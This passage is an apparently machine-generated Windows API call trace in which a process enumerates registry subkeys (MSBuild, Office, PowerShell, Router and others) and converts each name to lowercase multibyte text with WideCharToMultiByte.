lpUsedDefaultChar=0x0) returned 11 [0033.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0xf7b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xf7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0033.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0xf7b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xf7c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0033.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0xf7b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xf7c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0033.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0xf7b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xf7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0033.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0xf7b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xf7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0033.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0xf7b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xf7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0033.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0xf7b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0033.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0xf7b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xf7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0033.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0xf7b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0033.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0xf7b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0xf7b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xf7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0xf7b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xf7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0xf7b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0xf7b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0xf7b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xf7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0xf7b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0xf7b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xf7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0033.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0xf7b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0033.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xf7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0033.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0xf7b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xf7c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0033.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0xf7b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xf7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0033.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0xf7b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0033.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0xf7b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xf7c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0033.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0xf7b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xf7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0033.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0xf7b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0033.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0xf7b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0033.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xf7c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0xf7b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xf7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0xf7b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xf7c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0xf7b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0xf7b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xf7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0xf7b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0xf7b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xf7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0xf7b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xf7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0033.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0xf7b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0033.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0xf7b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0033.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0xf7b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xf7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0033.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0xf7b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xf7c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0033.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0xf7b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xf7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0033.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0xf7b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xf7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0033.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0xf7b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xf7c0d8, cbMultiByte=6, lpDefaultChar=0x0, 